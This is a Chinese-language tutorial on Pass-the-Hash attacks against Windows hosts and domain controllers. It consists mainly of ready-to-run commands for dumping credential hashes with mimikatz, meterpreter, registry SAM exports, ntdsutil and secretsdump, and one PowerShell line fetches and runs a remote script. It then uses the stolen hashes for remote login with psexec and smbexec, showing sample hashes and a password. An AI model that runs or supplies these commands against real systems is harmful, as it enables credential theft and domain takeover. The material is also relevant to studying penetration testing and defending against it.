0x01 PTH简介
PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的,二是随着信息安全意识的提高,弱口令情况逐渐降低,我们经常会遇到拿到hash却解不开的情况,综上,只有hash,我们依然可以正常登录。
PTH攻击最酷的地方并不是hash传递利用的过程,而是hash的获取过程,所以接下来90%的篇幅为hash获取的内容。
0x02 Hash获取
普通PC的Hash获取
2.1 mimikatz
神器mimikatz,需要注意的是:你首先得拥有本地管理员的执行的权限。
privilege::debug
sekurlsa::logonpasswords
2.2 Nishang
powershell的代表,它也是具备获取hash的能力的:
powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.15.216:8888/Gather/Get-PassHashes.ps1');Get-PassHashes
2.3 功能齐全的msf
来梳理下msf支持多少种hash获取方式:
1.本身的处理模块
hashdump
run hashdump
run post/windows/gather/smart_hashdump
2.除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv
tspkg
wdigest
kerberos
ssp
对应字段如下,着重提下ssp,这里记录的是ipc$的密码
mimikatz的原生命令在这里有些不在适用,但记得hash获取命令
mimikatz_command -f samdump::hashes
2.4 SAM表获取hash
导出SAM数据:
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
使用mimikatz提取hash:
lsadump::sam /sam:SAM /system:SYSTEM
域的Hash获取
首先同普通PC的Hash获取思路,但是不一样的是,你要晓得两件事情
即使是DC,常规获取hash的思路你依然只能获取本地用户的hash,并不能获取整个域的用户hash,当然,你依然可以拿到域管理员的hash,确实也有了登录整个域的权限。
即使是域内用户机,常规获取hash的思路依然有可能拿到域管理员的hash,只要域管理员通过RDP登录过,就会将hash保存到lsass中。
2.5 NTDS.dit获取域控hash
这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。
手动导出NTDS.dit和System-hive,本地或目标机导hash,因为,如果域足够大,该文件也会特别大。
除了手动找路径,可以参见下面的导出命令:
ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q
这里域用户只有几个,但文件大小高达36M。
接下来我们需要提取用户hash,推荐NTDSDumpEx:
工具地址:https://github.com/zcgonvh/NTDSDumpEx/releases
NTDSDumpEx -d ntds.dit -s system -o domain.txt
同样,再推荐个工具,还是我们多次提到过的python第三方库impacket下的secretsdump。
python secretsdump.py -system SYSTEM -ntds ntds.dit local
2.6 secretsdump脚本直接导出域hash
为什么要再提一遍secretsdump呢,因为它可以直接导出,说白了,就是把我们的手工任务自动执行一边,放在最后说也是为了让大家明白它的工作原理。
python secretsdump.py rabbitmask:1q2w3e4r!@192.168.15.181
首先它会导出本地SAM中的hash,然后是所有域内用户的IP,全部获取成功。
0x03 Hash传递
3.1 msf中的psexec模块
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass aad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4
3.1 impacket_smbexec
python smbexec.py -hash esaad3b435b51404eeaad3b435b51404ee:0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181
or
python smbexec.py -hashes :0515322a55615056aaabb044a48463a4 rabbitmask@192.168.15.181